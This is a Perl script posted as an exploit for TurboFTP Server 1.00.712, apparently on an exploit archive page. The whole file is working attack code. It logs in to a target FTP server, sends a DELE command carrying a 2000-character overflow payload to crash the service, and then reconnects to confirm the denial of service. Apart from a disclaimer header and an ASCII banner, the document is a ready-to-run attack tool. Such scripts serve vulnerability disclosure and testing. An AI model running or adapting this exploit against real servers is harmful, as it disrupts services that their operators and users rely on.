Home / os / winme

turboftp-dos.pl.txt

Posted on 13 January 2010

# Exploit Title : TurboFTP Server 1.00.712 Remote DoS
# Date          : 30 december 2009
# Author        : corelanc0d3r (corelanc0d3r[at]gmail{dot}com)
# Bug found by  : corelanc0d3r (corelanc0d3r[at]gmail{dot}com)
# Software Link : http://www.tbsoftinc.com/download/tbftpsrv.exe
# Version       : 1.00.712
# Issue fixed in: 1.00.720
# OS            : Windows
# Tested on     : XP SP3 En (VirtualBox)
# Type of vuln  : DoS
# Greetz to     : Corelan Security Team::EdiStrosar/Ricks2600/MarkoT/mr_me/ekse
#
# Script provided 'as is', without any warranty.
# Use for educational purposes only.
#
#
# Code :
print "|------------------------------------------------------------------|
";
print "|                         __               __                       |
";
print "|   _________  ________  / /___ _____     / /____  ____ _____ ___  |
";
print "|  / ___/ __ \/ ___/ _ \/ / __ `/ __ \   / __/ _ \/ __ `/ __ `__ \ |
";
print "| / /__/ /_/ / /  /  __/ / /_/ / / / /  / /_/  __/ /_/ / / / / / / |
";
print "| \___/\____/_/   \___/_/\__,_/_/ /_/   \__/\___/\__,_/_/ /_/ /_/  |
";
print "|                                                                  |
";
print "|                                       http://www.corelan.be:8800 |
";
print "|                                                                  |
";
print "|-------------------------------------------------[ EIP Hunters ]--|

";
print "[+] DoS exploit for TurboFTP Server 1.00.712 
";

use IO::Socket;

if ($#ARGV ne 3) {
print "
  usage: $0 <targetip> <targetport> <user> <password>
";
exit(0);
}

my $user=$ARGV[2];
my $pass=$ARGV[3];

print " [+] Preparing DoS payload
";
my $payload = "A" x 2000;
print " [+] Connecting to server $ARGV[0] on port $ARGV[1]
";
$sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
PeerPort => $ARGV[1],
Proto    => 'tcp');

$ftp = <$sock> || die " [!] *** Unable to connect ***
";
print "   ** $ftp";
$ftp = <$sock>;
print "   ** $ftp";
print " [+] Logging in (user $user)
";
print $sock "USER $user
";
$ftp = <$sock>;
print "   ** $ftp";
print $sock "PASS $pass
";
$ftp = <$sock>;
print "   ** $ftp";
print " [+] Sending payload
";
print $sock "DELE ".$payload."
";
$ftp = <$sock>;
print "   ** $ftp";
print " [+] Payload sent, now checking FTP server state
";
$sock2 = IO::Socket::INET->new(PeerAddr => $ARGV[0],
PeerPort => $ARGV[1],
Proto    => 'tcp');
my $ftp2 = <$sock2> || die " [+] DoS successful
";
print " [!] DoS did not seem to work
";
print "   ** $ftp2
";

 

TOP